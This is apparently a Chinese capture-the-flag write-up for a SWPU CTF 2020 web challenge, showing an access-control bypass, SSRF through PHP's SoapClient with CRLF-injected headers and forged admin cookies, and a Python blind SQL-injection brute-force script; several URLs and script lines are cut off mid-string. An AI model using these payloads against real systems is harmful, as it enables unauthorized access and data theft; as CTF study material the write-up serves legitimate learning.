重来

发表于 2021-03-05 分类于 Challenge ， 2020 ， SWPU CTF 2020 ， Web
Challenge | 2020 | SWPU CTF 2020 | Web | 重来

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

- *SQL注入*

解题思路

访问网站，是个登陆

登陆处发现login.js，使用`test@qq.com/test`登录

更改user为`admin`，访问，越权成功

```
1 http://xxxx.xxx.xxx.xx/a.php?classname=index&param2=admin
```

发现地址发生了变化并且多了一个隐藏的表单

提交id=1

提示要127.0.0.1，那就是需要ssrf了，观察登陆时的url

```
1 http://192.144.157.29:8080/a.php?classname=login&param2=1
```

classname是一个类名字，param2是这个类的第2个参数，这里存在一个任意对象实列化漏洞，输入一个不存在的类

输入php的内置类`Exception`

内置类`SimpleXMLElement`

2者都报第二个参数错误，应该是第一个参数被固定了，结合ssrf，想到了内置类soapClient,验证

```
1 http://xxxxxxx/a.php?classname=soapclient&param2[location]=http://vps/&param2[uri]=1231
```

但`soapclient`只能传递get参数，post为自己生成的xml数据，不可控，但soapclient可以自己配置部分请求头如user_agent，并且存在CRLF问题，比如

构造一个post请求,注意带上cookie

```
1 http://xxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20applic
```

更改vps为`127.0.0.1`，仍然没有flag

id参数可能是个注入，尝试注入payload

存在注入，注入脚本

```
1  import requests
2  #url_template="http://xxxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aCon
3  #数据库名user
4  #url_template="http://xxxxxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aC
5  #表名flag
6  #url_template="http://xxxxxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aC
7  #字段名flaaagggg
8  url_template="http://xxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aConte
9
10 #payloads='abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ\,_\{\}'
11 payloads = 'abcdefghigklmnopqrstuvwxyz,\{\}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!#$%^&*()-+@_.'
12
13 database_name=''
14 for j in range(1,50):
15     for i in payloads:
16         i_ascii=ord(i)
17         url=url_template.format(j,i_ascii)
18         result=requests.get(url)
19         length=len(result.text)
20         if length>300:
21             database_name+=i
22             print(database_name)
23             break
```

 # Challenge # 2020 # Web # SWPU CTF 2020
原谅最光荣
太极